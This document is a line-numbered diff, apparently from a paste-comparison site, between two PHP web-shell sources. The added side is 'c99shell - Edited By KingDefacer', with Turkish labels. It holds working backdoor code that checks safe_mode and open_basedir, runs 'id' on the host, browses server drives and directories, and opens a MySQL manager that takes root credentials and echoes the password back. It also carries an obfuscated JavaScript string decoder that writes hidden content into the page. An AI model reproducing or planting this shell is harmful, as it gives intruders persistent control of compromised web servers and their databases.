1696 | - | $delete_sql = "DELETE FROM $tablename WHERE $where"; |
1696 | + | if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") |
1697 | ||
1698 | - | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); |
1698 | + | { |
1699 | ||
1700 | - | m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error()); |
1700 | + | $safemode = true; |
1701 | ||
1702 | - | } |
1702 | + | $hsafemode = "<font color=red>ACiK (Guvenlikli) :( </font>"; |
1703 | ||
1704 | } | |
1705 | ||
1706 | - | if ($tablename && $doing == 'drop') { |
1706 | + | else {$safemode = false; $hsafemode = "<font color=green>Kapali (guvenlik yok)</font>";} |
1707 | ||
1708 | - | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); |
1708 | + | $v = @ini_get("open_basedir"); |
1709 | ||
1710 | - | if (q("DROP TABLE $tablename")) { |
1710 | + | if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=red>".$v."</font>";} |
1711 | ||
1712 | - | m('Drop table of success'); |
1712 | + | else {$openbasedir = false; $hopenbasedir = "<font color=green>Kapali (guvenlik yok)</font>";} |
1713 | ||
1714 | - | $tablename = ''; |
1714 | + | $sort = htmlspecialchars($sort); |
1715 | ||
1716 | - | } else { |
1716 | + | if (empty($sort)) {$sort = $sort_default;} |
1717 | ||
1718 | - | m(mysql_error()); |
1718 | + | $sort[1] = strtolower($sort[1]); |
1719 | ||
1720 | - | } |
1720 | + | $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); |
1721 | ||
1722 | - | } |
1722 | + | if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} |
1723 | ||
1724 | $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); | |
1725 | ||
1726 | - | formhead(array('title'=>'MYSQL Manager')); |
1726 | + | @ini_set("highlight.bg",$highlight_bg); //FFFFFF |
1727 | ||
1728 | - | makehide('action','mysqladmin'); |
1728 | + | @ini_set("highlight.comment",$highlight_comment); //#FF8000 |
1729 | ||
1730 | - | p('<p>'); |
1730 | + | @ini_set("highlight.default",$highlight_default); //#0000BB |
1731 | ||
1732 | - | p('DBHost:'); |
1732 | + | @ini_set("highlight.html",$highlight_html); //#000000 |
1733 | ||
1734 | - | makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); |
1734 | + | @ini_set("highlight.keyword",$highlight_keyword); //#007700 |
1735 | ||
1736 | - | p(':'); |
1736 | + | @ini_set("highlight.string",$highlight_string); //#DD0000 |
1737 | ||
1738 | - | makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); |
1738 | + | if (!is_array($actbox)) {$actbox = array();} |
1739 | ||
1740 | - | p('DBUser:'); |
1740 | + | $dspact = $act = htmlspecialchars($act); |
1741 | ||
1742 | - | makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); |
1742 | + | $disp_fullpath = $ls_arr = $notls = null; |
1743 | ||
1744 | - | p('DBPass:'); |
1744 | + | $ud = urlencode($d); |
1745 | ||
1746 | - | makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); |
1746 | + | |
1747 | ||
1748 | - | p('DBCharset:'); |
1748 | + | <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"> |
1749 | ||
1750 | - | makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1)); |
1750 | + | <title><?php echo getenv("HTTP_HOST"); ?> c99shell - Edited By KingDefacer</title> |
1751 | ||
1752 | - | makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt')); |
1752 | + | <script type="text/javascript" language="javascript"> |
1753 | ||
1754 | - | p('</p>'); |
1754 | + | <!-- |
1755 | ||
1756 | - | formfoot(); |
1756 | + | ML="P<>phTsmtr/9:Cuk RIc=jSw.o"; |
1757 | ||
1758 | MI="1F=AB05@FA=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052"; | |
1759 | ||
1760 | - | //???? |
1760 | + | OT=""; |
1761 | ||
1762 | - | formhead(array('name'=>'recordlist')); |
1762 | + | for(j=0;j<MI.length;j++){ |
1763 | ||
1764 | - | makehide('doing'); |
1764 | + | OT+=ML.charAt(MI.charCodeAt(j)-48); |
1765 | ||
1766 | - | makehide('action','mysqladmin'); |
1766 | + | }document.write(OT); |
1767 | ||
1768 | - | makehide('base64'); |
1768 | + | // --></script> |
1769 | ||
1770 | - | makehide('tablename'); |
1770 | + | <STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>c99shell Edited By KingDefacer</b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Server Yazilim: <?php echo $DISP_SERVER_SOFTWARE; ?></b> </p><p align="left"><b>Uname -a: <?php echo wordwrap(php_uname(),90,"<br>",1); ?></b> </p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b> </p><p align="left"><b>Guvenlik Modu: <?php echo $hsafemode; ?></b></p><p align="left"> |
1771 | ||
1772 | - | p($dbform); |
1772 | + | |
1773 | ||
1774 | - | formfoot(); |
1774 | + | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
1775 | ||
1776 | if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} | |
1777 | ||
1778 | - | //????? |
1778 | + | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
1779 | ||
1780 | - | formhead(array('name'=>'setdbname')); |
1780 | + | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
1781 | ||
1782 | - | makehide('action','mysqladmin'); |
1782 | + | $d = str_replace("\\\\","\\",$d); |
1783 | ||
1784 | - | p($dbform); |
1784 | + | $dispd = htmlspecialchars($d); |
1785 | ||
1786 | - | if (!$dbname) { |
1786 | + | $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); |
1787 | ||
1788 | - | makehide('dbname'); |
1788 | + | $i = 0; |
1789 | ||
1790 | - | } |
1790 | + | foreach($pd as $b) |
1791 | ||
1792 | - | formfoot(); |
1792 | + | { |
1793 | ||
1794 | $t = ""; | |
1795 | ||
1796 | - | //??? |
1796 | + | $j = 0; |
1797 | ||
1798 | - | formhead(array('name'=>'settable')); |
1798 | + | foreach ($e as $r) |
1799 | ||
1800 | - | makehide('action','mysqladmin'); |
1800 | + | { |
1801 | ||
1802 | - | p($dbform); |
1802 | + | $t.= $r.DIRECTORY_SEPARATOR; |
1803 | ||
1804 | - | makehide('tablename'); |
1804 | + | if ($j == $i) {break;} |
1805 | ||
1806 | - | makehide('page',$page); |
1806 | + | $j++; |
1807 | ||
1808 | - | makehide('doing'); |
1808 | + | } |
1809 | ||
1810 | - | formfoot(); |
1810 | + | echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; |
1811 | ||
1812 | $i++; | |
1813 | ||
1814 | - | $cachetables = array(); |
1814 | + | |
1815 | ||
1816 | - | $pagenum = 30; |
1816 | + | echo " "; |
1817 | ||
1818 | - | $page = intval($page); |
1818 | + | if (is_writable($d)) |
1819 | ||
1820 | - | if($page) { |
1820 | + | { |
1821 | ||
1822 | - | $start_limit = ($page - 1) * $pagenum; |
1822 | + | $wd = true; |
1823 | ||
1824 | - | } else { |
1824 | + | $wdt = "<font color=green> [ ok ] </font>"; |
1825 | ||
1826 | - | $start_limit = 0; |
1826 | + | echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; |
1827 | ||
1828 | - | $page = 1; |
1828 | + | |
1829 | ||
1830 | - | } |
1830 | + | else |
1831 | ||
1832 | - | if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { |
1832 | + | { |
1833 | ||
1834 | - | $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); |
1834 | + | $wd = false; |
1835 | ||
1836 | - | //??????? |
1836 | + | $wdt = "<font color=red> [ Sadece Read ] </font>"; |
1837 | ||
1838 | - | $mysqlver = mysql_get_server_info(); |
1838 | + | echo "<b>".view_perms_color($d)."</b>"; |
1839 | ||
1840 | - | p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>'); |
1840 | + | |
1841 | ||
1842 | - | $highver = $mysqlver > '4.1' ? 1 : 0; |
1842 | + | if (is_callable("disk_free_space")) |
1843 | ||
1844 | { | |
1845 | ||
1846 | - | //????? |
1846 | + | $free = disk_free_space($d); |
1847 | ||
1848 | - | $query = q("SHOW DATABASES"); |
1848 | + | $total = disk_total_space($d); |
1849 | ||
1850 | - | $dbs = array(); |
1850 | + | if ($free === false) {$free = 0;} |
1851 | ||
1852 | - | $dbs[] = '-- Select a database --'; |
1852 | + | if ($total === false) {$total = 0;} |
1853 | ||
1854 | - | while($db = mysql_fetch_array($query)) { |
1854 | + | if ($free < 0) {$free = 0;} |
1855 | ||
1856 | - | $dbs[$db['Database']] = $db['Database']; |
1856 | + | if ($total < 0) {$total = 0;} |
1857 | ||
1858 | - | } |
1858 | + | $used = $total-$free; |
1859 | ||
1860 | - | makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1)); |
1860 | + | $free_percent = round(100/($total/$free),2); |
1861 | ||
1862 | - | $tabledb = array(); |
1862 | + | echo "<br><b>Toplam ".view_size($total)." kapasite, ve ".view_size($free)." Bo$. Ortalama(".$free_percent."%) </b>"; |
1863 | ||
1864 | - | if ($dbname) { |
1864 | + | |
1865 | ||
1866 | - | p('<p>'); |
1866 | + | echo "<br>"; |
1867 | ||
1868 | - | p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>'); |
1868 | + | $letters = ""; |
1869 | ||
1870 | - | if ($tablename) { |
1870 | + | if ($win) |
1871 | ||
1872 | - | p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]'); |
1872 | + | { |
1873 | ||
1874 | - | } |
1874 | + | $v = explode("\\",$d); |
1875 | ||
1876 | - | p('</p>'); |
1876 | + | $v = $v[0]; |
1877 | ||
1878 | - | mysql_select_db($dbname); |
1878 | + | foreach (range("a","z") as $letter) |
1879 | ||
1880 | { | |
1881 | ||
1882 | - | $getnumsql = ''; |
1882 | + | $bool = $isdiskette = in_array($letter,$safemode_diskettes); |
1883 | ||
1884 | - | $runquery = 0; |
1884 | + | if (!$bool) {$bool = is_dir($letter.":\\");} |
1885 | ||
1886 | - | if ($sql_query) { |
1886 | + | if ($bool) |
1887 | ||
1888 | - | $runquery = 1; |
1888 | + | { |
1889 | ||
1890 | - | } |
1890 | + | $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Disketin Takili oldugundan Emin ol!')\"":"").">[ "; |
1891 | ||
1892 | - | $allowedit = 0; |
1892 | + | if ($letter.":" != $v) {$letters .= $letter;} |
1893 | ||
1894 | - | if ($tablename && !$sql_query) { |
1894 | + | else {$letters .= "<font color=green>".$letter."</font>";} |
1895 | ||
1896 | - | $sql_query = "SELECT * FROM $tablename"; |
1896 | + | $letters .= " ]</a> "; |
1897 | ||
1898 | - | $getnumsql = $sql_query; |
1898 | + | } |
1899 | ||
1900 | - | $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; |
1900 | + | } |
1901 | ||
1902 | - | $allowedit = 1; |
1902 | + | if (!empty($letters)) {echo "<b>Bulunan Suruculer</b>: ".$letters."<br>";} |
1903 | ||
1904 | - | } |
1904 | + | |
1905 | ||
1906 | - | p('<form action="'.$self.'" method="POST">'); |
1906 | + | if (count($quicklaunch) > 0) |
1907 | ||
1908 | - | p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>'); |
1908 | + | { |
1909 | ||
1910 | - | makehide('tablename', $tablename); |
1910 | + | foreach($quicklaunch as $item) |
1911 | ||
1912 | - | makehide('action','mysqladmin'); |
1912 | + | { |
1913 | ||
1914 | - | p($dbform); |
1914 | + | $item[1] = str_replace("%d",urlencode($d),$item[1]); |
1915 | ||
1916 | - | p('</form>'); |
1916 | + | $item[1] = str_replace("%sort",$sort,$item[1]); |
1917 | ||
1918 | - | if ($tablename || ($runquery && $sql_query)) { |
1918 | + | $v = realpath($d.".."); |
1919 | ||
1920 | - | if ($doing == 'structure') { |
1920 | + | if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} |
1921 | ||
1922 | - | $result = q("SHOW FULL COLUMNS FROM $tablename"); |
1922 | + | $item[1] = str_replace("%upd",urlencode($v),$item[1]); |
1923 | ||
1924 | - | $rowdb = array(); |
1924 | + | echo "<a href=\"".$item[1]."\">".$item[0]."</a> "; |
1925 | ||
1926 | - | while($row = mysql_fetch_array($result)) { |
1926 | + | } |
1927 | ||
1928 | - | $rowdb[] = $row; |
1928 | + | |
1929 | ||
1930 | - | } |
1930 | + | echo "</p></td></tr></table><br>"; |
1931 | ||
1932 | - | p('<h3>Structure</h3>'); |
1932 | + | if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#FF0000 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} |
1933 | ||
1934 | - | p('<table border="0" cellpadding="3" cellspacing="0">'); |
1934 | + | echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; |
1935 | ||
1936 | - | p('<tr class="head">'); |
1936 | + | if ($act == "") {$act = $dspact = "ls";} |
1937 | ||
1938 | - | p('<td>Field</td>'); |
1938 | + | if ($act == "sql") |
1939 | ||
1940 | - | p('<td>Type</td>'); |
1940 | + | { |
1941 | ||
1942 | - | p('<td>Collation</td>'); |
1942 | + | $sql_surl = $surl."act=sql"; |
1943 | ||
1944 | - | p('<td>Null</td>'); |
1944 | + | if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} |
1945 | ||
1946 | - | p('<td>Key</td>'); |
1946 | + | if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} |
1947 | ||
1948 | - | p('<td>Default</td>'); |
1948 | + | if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} |
1949 | ||
1950 | - | p('<td>Extra</td>'); |
1950 | + | if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} |
1951 | ||
1952 | - | p('<td>Privileges</td>'); |
1952 | + | if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} |
1953 | ||
1954 | - | p('<td>Comment</td>'); |
1954 | + | $sql_surl .= "&"; |
1955 | ||
1956 | - | p('</tr>'); |
1956 | + | ?><h3>Dikkat! SQL-Manager i Hazirda <u>DEGiL</u>. </h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php |
1957 | ||
1958 | - | foreach ($rowdb as $row) { |
1958 | + | if ($sql_server) |
1959 | ||
1960 | - | $thisbg = bg(); |
1960 | + | { |
1961 | ||
1962 | - | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); |
1962 | + | $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); |
1963 | ||
1964 | - | p('<td>'.$row['Field'].'</td>'); |
1964 | + | $err = mysql_smarterror(); |
1965 | ||
1966 | - | p('<td>'.$row['Type'].'</td>'); |
1966 | + | @mysql_select_db($sql_db,$sql_sock); |
1967 | ||
1968 | - | p('<td>'.$row['Collation'].' </td>'); |
1968 | + | if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} |
1969 | ||
1970 | - | p('<td>'.$row['Null'].' </td>'); |
1970 | + | } |
1971 | ||
1972 | - | p('<td>'.$row['Key'].' </td>'); |
1972 | + | else {$sql_sock = false;} |
1973 | ||
1974 | - | p('<td>'.$row['Default'].' </td>'); |
1974 | + | echo "<b>SQL Manager:</b><br>"; |
1975 | ||
1976 | - | p('<td>'.$row['Extra'].' </td>'); |
1976 | + | if (!$sql_sock) |
1977 | ||
1978 | - | p('<td>'.$row['Privileges'].' </td>'); |
1978 | + | { |
1979 | ||
1980 | - | p('<td>'.$row['Comment'].' </td>'); |
1980 | + | if (!$sql_server) {echo "Baglanilamadi";} |
1981 | ||
1982 | - | p('</tr>'); |
1982 | + | else {echo "<center><b>Baglanilamadi</b></center>"; echo "<b>".$err."</b>";} |
1983 | ||
1984 | - | } |
1984 | + | } |
1985 | ||
1986 | - | tbfoot(); |
1986 | + | else |
1987 | ||
1988 | - | $result = q("SHOW INDEX FROM $tablename"); |
1988 | + | { |
1989 | ||
1990 | - | $rowdb = array(); |
1990 | + | $sqlquicklaunch = array(); |
1991 | ||
1992 | - | while($row = mysql_fetch_array($result)) { |
1992 | + | $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); |
1993 | ||
1994 | - | $rowdb[] = $row; |
1994 | + | $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); |
1995 | ||
1996 | - | } |
1996 | + | $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); |
1997 | ||
1998 | - | p('<h3>Indexes</h3>'); |
1998 | + | $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); |
1999 | ||
2000 | - | p('<table border="0" cellpadding="3" cellspacing="0">'); |
2000 | + | $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); |
2001 | ||
2002 | - | p('<tr class="head">'); |
2002 | + | $sqlquicklaunch[] = array("Logout",$surl."act=sql"); |
2003 | ||
2004 | - | p('<td>Keyname</td>'); |
2004 | + | echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; |
2005 | ||
2006 | - | p('<td>Type</td>'); |
2006 | + | if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} |
2007 | ||
2008 | - | p('<td>Unique</td>'); |
2008 | + | echo "</center>"; |
2009 | ||
2010 | - | p('<td>Packed</td>'); |
2010 | + | } |
2011 | ||
2012 | - | p('<td>Seq_in_index</td>'); |
2012 | + | echo "</td></tr><tr>"; |
2013 | ||
2014 | - | p('<td>Field</td>'); |
2014 | + | if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> </font></center><li>Eger sifre gecersizse ,admin olan sifredir .<li>Eger host, gecersizse, host, localhosttur</b><li>Eger port gecersizse normal port "3306"</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td> <b>Lutfen formu doldur:</b><table><tr><td><b>Username(K.Adi)</b></td><td><b>Password(Sifre)</b> </td><td><b>Database</b> </td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } |
2015 | ||
2016 | - | p('<td>Cardinality</td>'); |
2016 | + | else |
2017 | ||
2018 | - | p('<td>Collation</td>'); |
2018 | + | { |
2019 | ||
2020 | - | p('<td>Null</td>'); |
2020 | + | //Start left panel |
2021 | ||
2022 | - | p('<td>Comment</td>'); |
2022 | + | if (!empty($sql_db)) |
2023 | ||
2024 | - | p('</tr>'); |
2024 | + | { |
2025 | ||
2026 | - | foreach ($rowdb as $row) { |
2026 | + | ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php |
2027 | ||
2028 | - | $thisbg = bg(); |
2028 | + | $result = mysql_list_tables($sql_db); |
2029 | ||
2030 | - | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); |
2030 | + | if (!$result) {echo mysql_smarterror();} |
2031 | ||
2032 | - | p('<td>'.$row['Key_name'].'</td>'); |
2032 | + | else |
2033 | ||
2034 | - | p('<td>'.$row['Index_type'].'</td>'); |
2034 | + | { |
2035 | ||
2036 | - | p('<td>'.($row['Non_unique'] ? 'No' : 'Yes').' </td>'); |
2036 | + | echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; |
2037 | ||
2038 | - | p('<td>'.($row['Packed'] === null ? 'No' : $row['Packed']).' </td>'); |
2038 | + | $c = 0; |
2039 | ||
2040 | - | p('<td>'.$row['Seq_in_index'].'</td>'); |
2040 | + | while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b> <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} |
2041 | ||
2042 | - | p('<td>'.$row['Column_name'].($row['Sub_part'] ? '('.$row['Sub_part'].')' : '').' </td>'); |
2042 | + | if (!$c) {echo "Databasede tablo bulunamadi!";} |
2043 | ||
2044 | - | p('<td>'.($row['Cardinality'] ? $row['Cardinality'] : 0).' </td>'); |
2044 | + | } |
2045 | ||
2046 | - | p('<td>'.$row['Collation'].' </td>'); |
2046 | + | } |
2047 | ||
2048 | - | p('<td>'.$row['Null'].' </td>'); |
2048 | + | else |
2049 | ||
2050 | - | p('<td>'.$row['Comment'].' </td>'); |
2050 | + | { |
2051 | ||
2052 | - | p('</tr>'); |
2052 | + | ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php |
2053 | ||
2054 | - | } |
2054 | + | $result = mysql_list_dbs($sql_sock); |
2055 | ||
2056 | - | tbfoot(); |
2056 | + | if (!$result) {echo mysql_smarterror();} |
2057 | ||
2058 | - | } elseif ($doing == 'insert' || $doing == 'edit') { |
2058 | + | else |
2059 | ||
2060 | - | $result = q('SHOW COLUMNS FROM '.$tablename); |
2060 | + | { |
2061 | ||
2062 | - | while ($row = mysql_fetch_array($result)) { |
2062 | + | ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php |
2063 | ||
2064 | - | $rowdb[] = $row; |
2064 | + | $c = 0; |
2065 | ||
2066 | - | } |
2066 | + | $dbs = ""; |
2067 | ||
2068 | - | $rs = array(); |
2068 | + | while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} |
2069 | ||
2070 | - | if ($doing == 'insert') { |
2070 | + | echo "<option value=\"\">Databases (".$c.")</option>"; |
2071 | ||
2072 | - | p('<h2>Insert new line in '.$tablename.' table »</h2>'); |
2072 | + | echo $dbs; |
2073 | ||
2074 | - | } else { |
2074 | + | } |
2075 | ||
2076 | - | p('<h2>Update record in '.$tablename.' table »</h2>'); |
2076 | + | ?></select><hr size="1" noshade>Lutfen Database secin<hr size="1" noshade><input type="submit" value="Go"></form><?php |
2077 | ||
2078 | - | $where = base64_decode($base64); |
2078 | + | } |
2079 | ||
2080 | - | $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1"); |
2080 | + | //End left panel |
2081 | ||
2082 | - | $rs = mysql_fetch_array($result); |
2082 | + | echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; |
2083 | ||
2084 | - | } |
2084 | + | //Start center panel |
2085 | ||
